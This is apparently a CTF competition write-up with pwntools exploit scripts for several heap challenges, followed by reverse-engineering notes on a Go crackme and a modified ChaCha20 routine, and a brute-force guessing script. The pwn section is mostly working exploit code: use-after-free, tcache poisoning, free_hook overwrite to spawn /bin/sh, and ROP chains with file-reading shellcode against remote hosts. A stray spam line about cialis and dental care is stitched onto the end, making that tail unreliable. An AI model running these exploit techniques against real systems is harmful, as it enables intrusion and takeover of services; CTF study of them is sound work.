sh = remote('172.52.31.32', 9999)
context.log_level = "debug"
class WebHeap(Structure):
_fields_ = (
('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))
def __str__(self):
return '(%d, %d, %d)' % (self.choice, self.index, self.size)
def LoadProtocolLibrary():
global ProtocolLibrary
global GetSerializedHeapMenu
global SerializePolyhedron
global DeserializePolyhedron
ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')
SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
SerializePolyhedron.restype = c_ssize_t
DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
DeserializePolyhedron.restype = c_ssize_t
def create(choice, index, size, data):
LoadProtocolLibrary()
payload_buffer = create_string_buffer(1024)
count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
assert count >= 0
return payload_buffer[0:count]
def sendPacket(data):
sh.sendlineafter("Packet length: ", str(len(data)))
sh.sendafter("Content:", data)
def add(idx, size):
sendPacket(create(0, idx, size, ""))
def show(idx):
sendPacket(create(1, idx, 0, ""))
def delete(idx):
sendPacket(create(2, idx, 0, ""))
def edit(idx, content):
sendPacket(create(3, idx, 0, content))
add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
delete(0)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
delete(2)
delete(1)
edit(1, p64(free_hook_addr))
add(3, 0x68)
add(4, 0x68)
edit(3, '/bin/sh\\x00')
edit(4, p64(system_addr))
delete(3)
# gdb.attach(sh)
# sendPacket('\\xb9\\x05\\x01\\x00\\x81\\x88\\x00\\xbd\\x00\\x00')
sh.interactive()
webheap_revenge
from pwn import *
from ctypes import *
sh = process('./webheap_revenge')
#sh = remote('172.52.31.189', 9999)
context.log_level = "debug"
class WebHeap(Structure):
_fields_ = (
('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))
def __str__(self):
return '(%d, %d, %d)' % (self.choice, self.index, self.size)
def LoadProtocolLibrary():
global ProtocolLibrary
global GetSerializedHeapMenu
global SerializePolyhedron
global DeserializePolyhedron
ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')
SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
SerializePolyhedron.restype = c_ssize_t
DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
DeserializePolyhedron.restype = c_ssize_t
def create(choice, index, size, data):
LoadProtocolLibrary()
payload_buffer = create_string_buffer(1024)
count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
assert count >= 0
return payload_buffer[0:count]
def sendPacket(data):
sh.sendlineafter("Packet length: ", str(len(data)))
sh.sendafter("Content:", data)
def add(idx, size):
sendPacket(create(0, idx, size, ""))
def show(idx):
sendPacket(create(1, idx, 0, ""))
def delete(idx):
sendPacket(create(2, idx, 0, ""))
def edit(idx, content):
sendPacket(create(3, idx, 0, content))
add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
delete(0)
add(0, 0x418)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
edit(1, 'a' * 0x68 + p64(0xe1))
delete(2)
add(4, 0xd8)
delete(1)
delete(3)
edit(4, 'a' * 0x70 + p64(free_hook_addr))
add(5, 0x68)
add(6, 0x68)
edit(5, '/bin/sh\\x00')
edit(6, p64(system_addr))
delete(5)
#gdb.attach(sh)
sh.interactive()
bfbf
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
binary = 'pwn2'
elf = ELF('pwn2')
libc = ELF("./libc.so.6")
context.binary = binary
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
l64 = lambda :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
payload = ">"*0x238
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "<"*6
payload += ","
payload += (">" + ",")*(0x17+0x10)
# p.recv()
p.send(payload)
libc_base = l64() - 243 - libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
free_hook_zero = free_hook & 0xfffffffffffff000
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
pop_rax = libc_base + 0x0000000000036174
pop_rsp = 0x000000000002f70a + libc_base
syscall = 0x00000000000630a9 + libc_base
pop_rcx = 0x000000000010257e + libc_base
add_rax = 0x00000000000cfaf0 + libc_base
rop = p64(pop_rdi) + p64(free_hook_zero) + p64(libc_base + libc.sym["gets"])
rop += p64(pop_rsp) + p64(free_hook_zero)
sleep(0.01)
p.send(rop)
sleep(0.01)
sc = shellcraft.cat("flag")
# sc = shellcraft.mmap(0x100000,0x1000,0x7,0x11,0x3,0)
# sc += shellcraft.write(1,0x100000,0x20)
# sc = shellcraft.open("./",0x10000)
# sc += shellcraft.getdents("rax",free_hook_zero+0x200,0x300)
# sc += shellcraft.write(1,free_hook_zero+0x200,0x300)
orw = p64(pop_rdi) + p64(free_hook_zero)
orw += p64(pop_rsi) + p64(0x1000)
orw += p64(pop_rdx) + p64(0x7)
orw += p64(pop_rax) + p64(9)
orw += p64(add_rax)
orw += p64(syscall)
orw += p64(free_hook_zero+0x58)
orw += asm(sc)
# attach(p)
# orw = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(free_hook_zero)
# orw += p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall)
p.sendline(orw)
p.interactive()
store
UAF,largebinattack劫持stderr→_chain伪造io_file造house of apple,栈迁移执行shellcode,远程flag名未知因此getedents来找flag,flag为f1ag708edc8a0c4fecdb57d1文件,orw读flag
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
binary = 'store'
elf = ELF('store')
libc = ELF("./libc-2.31.so")
# context.binary = binary
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
l64 = lambda :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla("choice:",str(idx))
def add(size,payload,payload2):
cmd(1)
sla("Size:",str(size))
sa("Content:",payload)
sa("Remark:",payload2)
def free(idx):
cmd(2)
sla("Index:",str(idx))
def show(idx):
cmd(4)
sla("Index:",str(idx))
def edit(idx,payload,payload2 = "bbbb"):
cmd(3)
sla("Index:",str(idx))
sa("Content:",payload)
sa("Remark",payload2)
def malloc(size):
cmd(1)
sla("Size:",str(size))
add(0x410,"aaa","bbbb")
add(0x420,"aaa","bbbb")
free(1)
show(1)
libc_base = l64() - 96 - libc.sym["__malloc_hook"] - 0x10
lg("libc_base",libc_base)
malloc(0x500)
free(0)
edit(1,"a"*0x18,"a"*0x18)
show(1)
ru("a"*0x18)
heap_addr = u64(p.recv(6).ljust(8,'\\x00'))
lg("heap_addr",heap_addr)
heap_base = heap_addr - 0xad0
stderr_chain = libc_base + libc.sym["_IO_2_1_stderr_"] + 104
io_file_jumps = libc_base + libc.sym["_IO_file_jumps"]
gadgets = 0x0000000000157d8a + libc_base
leaver = 0x000000000005aa48 + libc_base
pop_rsp = 0x0000000000032b5a + libc_base
pop4_r = 0x0000000000026b6b + libc_base
pop_rdi = 0x0000000000026b72 + libc_base
pop_rsi = 0x0000000000027529 + libc_base
pop_rdx = 0x000000000011c371 + libc_base
pop_rax = libc_base + 0x000000000004a550
syscall = 0x0000000000066229 + libc_base
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & 0xfffffffffffff000
# mov rbp, qword ptr [rdi + 0x48];
# mov rax, qword ptr [rbp + 0x18];
# lea r13, [rbp + 0x10];
# mov dword ptr [rbp + 0x10], 0;
# mov rdi, r13;
# call qword ptr [rax + 0x28];
edit(1,p64(0)*3 + p64(stderr_chain-0x20))
malloc(0x500)
payload = flat({
0x18:1,
0x10:0,
0xb0:1,
0x20:2,
0x90:heap_base+0x6c0,
0x88:heap_base+0x6c0,
0xc8:io_file_jumps+0x48
}, filler = b'\\x00',arch='amd64')
payload2 = flat({
0:0,
0x18:0,
0x20:0x100,
0x28:gadgets,
0x30:0x100,
0x38:heap_addr,
},filler = '\\x00',arch='amd64')
edit(0,payload,payload2)
payload = flat({
0:0,
0x10:0x1234,#rdi
0x18:gadgets,#rax
0x28:0x2222,
0x38:heap_base+0xf10,
},filler = '\\x00',arch='amd64')
payload2 = flat({
0x8:pop4_r,
0x10:heap_base+0xf50,
0x18:heap_base+0xf10,
0x10:0x3456,
0x28:leaver,
0x30:pop_rdi,
0x38:0,
0x40:pop_rsi,
0x48:free_hook1,
0x50:pop_rdx,
0x58:0x1000,
0x60:0,
0x68:pop_rax,
0x70:0,
0x78:syscall,
0x80:pop_rdi,
0x88:free_hook1,
0x90:pop_rsi,
0x98:0x1000,
0xa0:pop_rdx,
0xa8:0x7,
0xb0:0x7,
0xb8:pop_rax,
0xc0:10,
0xc8:syscall,
0xd0:pop_rsp,
0xd8:free_hook1+0x200,
},filler = '\\x00',arch='amd64')
edit(1,payload,payload2)
sc = shellcraft.mmap(0x40404040,0x7e,7,34,0,0)
sc = asm(sc)
sc += asm(shellcraft.amd64.read(0,0x40404040,0x40),arch = 'amd64')
# sc += asm(shellcraft.open(0x40404040,0x10000))
# sc += asm(shellcraft.getdents("eax",0x40404040+0x100,0x200))
# sc1 = shellcraft.amd64.write(1,0x40404040+0x100,0x200)
sc += asm(shellcraft.open(0x40404040,0))
sc1 = shellcraft.amd64.read("rax","rsp",0x100)
sc1 += shellcraft.amd64.write(1,"rsp",0x100)
sc = (sc) + asm(sc1,arch = 'amd64')
cmd(5)
sleep(0.1)
p.send(sc.ljust(0x200,'\\x90') + p64(free_hook1) + "flag\\x00\\x00\\x00\\x00")
sleep(0.1)
# attach(p)
p.sendline("f1ag708edc8a0c4fecdb57d1\\x00\\x00")
# p.sendline("./\\x00\\x00\\x00")
# attach(p)
p.interactive()
# f1ag708edc8a0c4fecdb57d1
only
UAF,double free劫持tcache头部(1/16),错位申请到stdout(1/16),泄露libc,打free_hook栈迁移orw出flag,1/256
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
def cmd(idx):
sla(">>",str(idx))
def add(size,payload):
cmd(1)
sla("Size:",str(size))
sa("Content:",payload)
def free():
cmd(2)
def add2():
cmd(0)
def exp():
add(0xe0,"aaa\\n")
free()
add2()
free()
add(0xe0,p16(0xa010)+'\\n')
add(0xe0,"aaa\\n")
payload = "\\x00"*0x18 + p16(0) + p16(0x20)
payload = payload.ljust(0x4e,'\\x00')
payload += p16(0x20)
add(0xe0,payload + '\\n')
free()
add(0x80,p16(0)*2 + '\\n')
add(0x48,p16(0x96a0) + '\\n')
add(0x30,p64(0xfbad1800) + p64(0)*3 + p8(0x8) + '\\n')
libc_base = l64() - libc.sym["_IO_2_1_stdin_"]
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & 0xfffffffffffff000
gadgets = 0x0000000000157d8a + libc_base
# mov rbp, qword ptr [rdi + 0x48];
# mov rax, qword ptr [rbp + 0x18];
# lea r13, [rbp + 0x10];
# mov dword ptr [rbp + 0x10], 0;
# mov rdi, r13;
# call qword ptr [rax + 0x28];
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx = libc_base + 0x000000000011c371
pop_rax = libc_base + 0x000000000004a550
pop_rsp = libc_base + 0x0000000000032b5a
pop4r = 0x00000000000913ae + libc_base
leaver = 0x000000000005aa48 + libc_base
syscall = 0x0000000000066229 + libc_base
add(0x28,p64(free_hook)*2 + '\\n')
payload = flat({
0:gadgets,
0x8:pop4r,
0x18:free_hook,
0x28:leaver,
0x30:pop_rsi,
0x38:free_hook1,
0x40:pop_rdi,
0x48:free_hook,
0x50:pop_rdi,
0x58:0,
0x60:pop_rdx,
0x68:0x1000,
0x70:0,
0x78:pop_rax,
0x80:0,
0x88:syscall,
0x90:pop_rsp,
0x98:free_hook1,
0xa0:syscall,
},filler = '\\x00')
add(0xe0,payload+'\\n')
free()
sleep(0.01)
payload = flat([
pop_rdi,free_hook1,pop_rsi,0x1000,pop_rdx,0x7,0x7,pop_rax,10,
syscall,free_hook1+0x58
])
sc = shellcraft.cat("flag")
p.send(payload + asm(sc))
# add(0xd0,p64(0)+p16(0x1234) +'\\n')
# free()
p.interactive()
if __name__ == "__main__":
binary = './only'
elf = ELF('./only')
libc = ELF("./libc.so.6")
context.binary = binary
# if(len(sys.argv) == 3):
# p = remote(sys.argv[1],sys.argv[2])
# else:
# p = process(binary)
p = remote
l64 = lambda :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
while(1):
try:
p = remote(sys.argv[1],sys.argv[2])
exp()
except Exception as e:
p.close()
print(e)
REVERSE
comeongo
根据字符串you get it , flag may be flag{username+password}定位主函数
check函数进去分析一下
动调得知v5和v11分别是username和password的长度,都是16,然后会有两个check
rax是username,rcx是password,rbx和rdi都是长度
Encoding找到了base58的表,参数是username的前8位+password的前八位
memequal的参数是9pd5duAv9fueatCwqEwuy7,我们解一下GoM0bi13G3tItEzF
拆分一下得到
username:GoM0bi13
password:G3tItEzF
只有check1过了才能进入check2,我们重新构造flag
check2这里会对username的后八位和password的后八位进行操作,通过main_io_read加密,经过多次调试,发生是逐字节加密的,而且对数字不会有操作,对字母表作了一个加密的映射:abcd是mnop,ijkl对应uvwx,这样就可以调出密文所对应的明文
把username[8-11]和passsword[8-11]进行一个merge,然后base64加密然后与X051YmNmRnE=比较,解密一下X051YmNmRnE=
_NubcfFq
username:GoM0bi13_Bin
password:G3tItEzForRe
这个根据前面跳出来的字母表然后替换后
现在缺最后四位,直接下软件断点下看汇编就行了,类似解方程
a=[0X76,0X47]
b=[ 0xDD, 0x8F, 0xA1, 0x64]
for i in range(len(a)):
print(chr(b[i]-a[i]-i))
print(chr(0x6f))
print(chr(33))
print(chr(0x61-ord('!')))
username:GoM0bi13_BingGo@
password:G3tItEzForRe__0!
少了两位,下断点没停下来,题目有问题,后面更新附件了,不过我直接猜了一下密钥vG,结果对了
username:GoM0bi13_BingGo@
password:G3tItEzForRevG0!
mcmc
这个有ollvm,但是有明显的chacha20特征,直接解没解出来,怀疑有其他操作,对flag进行访问断点
最后的结果比对
unsigned char ida_chars[] =
{
0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10,
0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B,
0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D,
0xBF, 0x32
};
这里前面sub_405480是把flag的每四个为一组,16个,也就是4组进行一次加密
sub_4011A0就是chacha20了,chacha20的xor部分是被魔改过的
但是下断点调试,再这些之前还有个循环是对8、16、24、32位进行xor,xor的值是[68,35,91,90],是固定的
github找到chacha20的源码对着看https://github.com/Ginurx/chacha20-c
#pragma once
#pragma once
#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#ifdef __cplusplus
extern "C" {
#endif
struct chacha20_context
{
uint32_t keystream32[16];
size_t position;
uint8_t key[32];
uint8_t nonce[12];
uint64_t counter;
uint32_t state[16];
};
void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nounc[], uint64_t counter);
void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes);
#ifdef __cplusplus
}
#endif
#include "chacha20.h"
#include<stdio.h>
static uint32_t rotl32(uint32_t x, int n)
{
return (x << n) | (x >> (32 - n));
}
static uint32_t pack4(const uint8_t* a)
{
uint32_t res = 0;
res |= (uint32_t)a[0] << 0 * 8;
res |= (uint32_t)a[1] << 1 * 8;
res |= (uint32_t)a[2] << 2 * 8;
res |= (uint32_t)a[3] << 3 * 8;
return res;
}
static void unpack4(uint32_t src, uint8_t* dst) {
dst[0] = (src >> 0 * 8) & 0xff;
dst[1] = (src >> 1 * 8) & 0xff;
dst[2] = (src >> 2 * 8) & 0xff;
dst[3] = (src >> 3 * 8) & 0xff;
}
static void chacha20_init_block(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[])
{
memcpy(ctx->key, key, sizeof(ctx->key));
memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));
const uint8_t* magic_constant = (uint8_t*)"expand 32-byte k";
ctx->state[0] = pack4(magic_constant + 0 * 4);
ctx->state[1] = pack4(magic_constant + 1 * 4);
ctx->state[2] = pack4(magic_constant + 2 * 4);
ctx->state[3] = pack4(magic_constant + 3 * 4);
ctx->state[4] = pack4(key + 0 * 4);
ctx->state[5] = pack4(key + 1 * 4);
ctx->state[6] = pack4(key + 2 * 4);
ctx->state[7] = pack4(key + 3 * 4);
ctx->state[8] = pack4(key + 4 * 4);
ctx->state[9] = pack4(key + 5 * 4);
ctx->state[10] = pack4(key + 6 * 4);
ctx->state[11] = pack4(key + 7 * 4);
// 64 bit counter initialized to zero by default.
ctx->state[12] = 0;
ctx->state[13] = pack4(nonce + 0 * 4);
ctx->state[14] = pack4(nonce + 1 * 4);
ctx->state[15] = pack4(nonce + 2 * 4);
memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));
}
static void chacha20_block_set_counter(struct chacha20_context* ctx, uint64_t counter)
{
ctx->state[12] = (uint32_t)counter;
ctx->state[13] = pack4(ctx->nonce + 0 * 4) + (uint32_t)(counter >> 32);
}
static void chacha20_block_next(struct chacha20_context* ctx) {
// This is where the crazy voodoo magic happens.
// Mix the bytes a lot and hope that nobody finds out how to undo it.
for (int i = 0; i < 16; i++) ctx->keystream32[i] = ctx->state[i];
#define CHACHA20_QUARTERROUND(x, a, b, c, d) \\
x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 16); \\
x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 12); \\
x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 8); \\
x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 7);
for (int i = 0; i < 10; i++)
{
CHACHA20_QUARTERROUND(ctx->keystream32, 0, 4, 8, 12)
CHACHA20_QUARTERROUND(ctx->keystream32, 1, 5, 9, 13)
CHACHA20_QUARTERROUND(ctx->keystream32, 2, 6, 10, 14)
CHACHA20_QUARTERROUND(ctx->keystream32, 3, 7, 11, 15)
CHACHA20_QUARTERROUND(ctx->keystream32, 0, 5, 10, 15)
CHACHA20_QUARTERROUND(ctx->keystream32, 1, 6, 11, 12)
CHACHA20_QUARTERROUND(ctx->keystream32, 2, 7, 8, 13)
CHACHA20_QUARTERROUND(ctx->keystream32, 3, 4, 9, 14)
}
for (int i = 0; i < 16; i++) ctx->keystream32[i] += ctx->state[i];
uint32_t* counter = ctx->state + 12;
// increment counter
counter[0]++;
if (0 == counter[0])
{
// wrap around occured, increment higher 32 bits of counter
counter[1]++;
// Limited to 2^64 blocks of 64 bytes each.
// If you want to process more than 1180591620717411303424 bytes
// you have other problems.
// We could keep counting with counter[2] and counter[3] (nonce),
// but then we risk reusing the nonce which is very bad.
assert(0 != counter[1]);
}
}
void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[], uint64_t counter)
{
memset(ctx, 0, sizeof(struct chacha20_context));
chacha20_init_block(ctx, key, nonce);
chacha20_block_set_counter(ctx, counter);
ctx->counter = counter;
ctx->position = 64;
}
void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
for (size_t i = 0; i < 32; i++)
{
if (ctx->position >= 64)
{
chacha20_block_next(ctx);
ctx->position = 0;
}
//奇数
if (i % 2 == 0)
{
bytes[i] = (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);
}
else
{
bytes[i] = (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);
}
ctx->position++;
}
}
void chacha20_xordecode(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
for (size_t i = 31; i >= 0; i--)
{
if (ctx->position >= 64)
{
chacha20_block_next(ctx);
ctx->position = 31;
}
//奇数
if (i % 2 == 0)
{
for (size_t t = 0; t < 0xff; t++)
{
int a1 = bytes[i] ^ (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5);
if (((t & 0xA )| (~t & 0xF5)) ==a1 ) {
printf("%d:0x%x \\n",i, t);
bytes[i] = t;
break;
}
}
}
else
{
for (size_t t = 0; t < 0xff; t++)
{
int a = bytes[i] ^ (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5);
if ((t & 0xA | ~t & 0xF5) ==a ) {
printf("%d:0x%x \\n",i, t);
bytes[i] = t;
break;
}
}
}
ctx->position--;
}
}
int main() {
uint8_t key[] = { 0x0A, 0xEB, 0x19, 0x25, 0x2E, 0xE8, 0x9C, 0x90, 0xEC, 0x85,
0xC0, 0xD6, 0x07, 0xCF, 0x5A, 0x54, 0x49, 0x40, 0x12, 0x24,
0xE7, 0x53, 0x13, 0x1E, 0x2F, 0x4F, 0xAD, 0x14, 0xDE, 0xF6,
0x8F, 0xE9 };
uint8_t nonce[] = { 0x67, 0xC6, 0x69, 0x73, 0x51, 0xFF, 0x4A, 0xEC, 0x29, 0xCD,
0xBA, 0xAB };
uint64_t counter = 1;
uint8_t buffer[] = { 0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10,
0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B,
0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D,
0xBF, 0x32 };
uint8_t buffer1[] = { 0xfa,0x29,0xd7,0xe6,0x69,0x1a,0xd4,0xcf,0x9f,0x35,0x71,0x61,0x8b,0x6a,0xcb,0xf7,0x54,0x45,0x3b,0xf1,0xc3,0x66,0xe3,0x89,0xe7,0x5,0xfb,0x38,0xc1,0x6f,0xb0,0xe8 };
struct chacha20_context ctx;
chacha20_init_context(&ctx, key, nonce, counter);
//chacha20_xorde(&ctx, buffer, sizeof(buffer));
for (size_t i = 0; i < 32; i+=4)
{
printf("0x%x%x%x%x\\n", buffer1[i+3],buffer1[i+2], buffer1[i + 1],buffer1[i + 0]);
}
return 0;
}
这里我们只是得到没被chacha20加密过的数据
from z3 import *
flag = [BitVec('flag[%d]' % i, 32) for i in range(8)]
s = Solver()
s.add(((flag[0]<<1)-((-flag[1])&0xffffffff)-flag[2]+flag[3])&0xffffffff==0xe6d729fa)
s.add((~(~(flag[0]+flag[1]) + (-flag[2])&0xffffffff)-flag[3])&0xffffffff==0xcfd41a69)
s.add((flag[0]-flag[1]+flag[2]+((-flag[3])&0xffffffff))&0xffffffff==0x6171359f)
s.add((~(~(flag[0]+(flag[1]<<1) - flag[2])+(-(flag[3]<<1))&0xffffffff))&0xffffffff==0xf7cb6a8b)
s.add(((flag[4]<<1)-((-flag[5])&0xffffffff)-flag[6]+flag[7])&0xffffffff==0xf13b4554)
s.add((~(~(flag[4]+flag[5]) + (-flag[6])&0xffffffff)-flag[7])&0xffffffff==0x89e366c3)
s.add((flag[4]-flag[5]+flag[6]+((-flag[7])&0xffffffff))&0xffffffff==0x38fb05e7)
s.add((~(~(flag[4]+(flag[5]<<1) - flag[6])+(-(flag[7]<<1))&0xffffffff))&0xffffffff==0xe8b06fc1)
if s.check() == sat:
print(s.model())
pq=[1835889971,925987429,1919252016, 1194345311,1667722857,678703214,812658772, 845703272]
for i in range(len(pq)):
print(hex(pq[i]))
ppq=[0x33,0x75,0x6d,0x6d,0x65,0x72,0x31,0x37
,0x30,0x76,0x65,0x72,0x5f,0x43,0x30,0x47
,0x69,0x6e,0x67,0x63,0x6e,0x30,0x74,0x28
,0x54,0x30,0x70,0x30,0x68,0x68,0x68,0x32]
for i in range(len(ppq)):
print(chr(ppq[i]^firstxor[i]),end="")
这里把8、16、24、32的xor也计算进去了
3ummer1s0ver_C0dingcn0tsT0p0hhhh
MISC
Welcome
签到题。下载附件zip打开里面的txt是flag
babymisc
猜数字,只能猜15次,二分法都不够用,只能爆破了
from pwn import *
#context.log_level = 'debug'
def run():
io = remote("172.52.31.165",9999)
try:
print("start")
io.sendline(b"Y")
io.recvuntil(b"Please enter a number:")
#target > mid 等价于 guess(mid)返回1
#target < mid 等价于 guess(mid)返回-1
#target = mid 等价于 guess(mid)返回0
def guess(num):
io.sendline(str(int(num)))
'''
[DEBUG] Sent 0x7 bytes:
b'907273\n'
[DEBUG] Received 0x5 bytes:
b'Bingo'
[DEBUG] Received 0x62 bytes:
b'\n'
b'Time use:0.44second\n'
b"To thank you, I'll give you the flag\n"
b'flag{B5n5e11ZfuQq1eH8kdTcF5MO205NtDs8}\n'
b'\n'
'''
result = io.recvuntil([b"low\n",b"up\n",b"You lost",b"Bingo"])
if b'low\n' in result:
return 1
elif b'up\n' in result:
return -1
elif b'You lost' in result:
return 3
elif b'Bingo' in result:
print(result)
io.interactive()
return 0
def guessNumber():
left = 100000
right = 999999
while left <= right:
mid = left + (right - left) // 2
result = guess(mid)
print(left,right,mid,result)
if result == 0:
return mid
elif result == 1:
left = mid + 1
elif result == 3:
return False
else:
right = mid - 1
return -1
print(guessNumber())
except EOFError:
raise
finally:
print("end")
io.close()
if __name__ == '__main__':
while 1:
run()
cialis Caring for women with ovarian, cervical and breast cancer requires offering additional time and attention in the dental hygiene practice setting to provide education about managing oral side effects of chemotherapy and radiation, says JoAnn R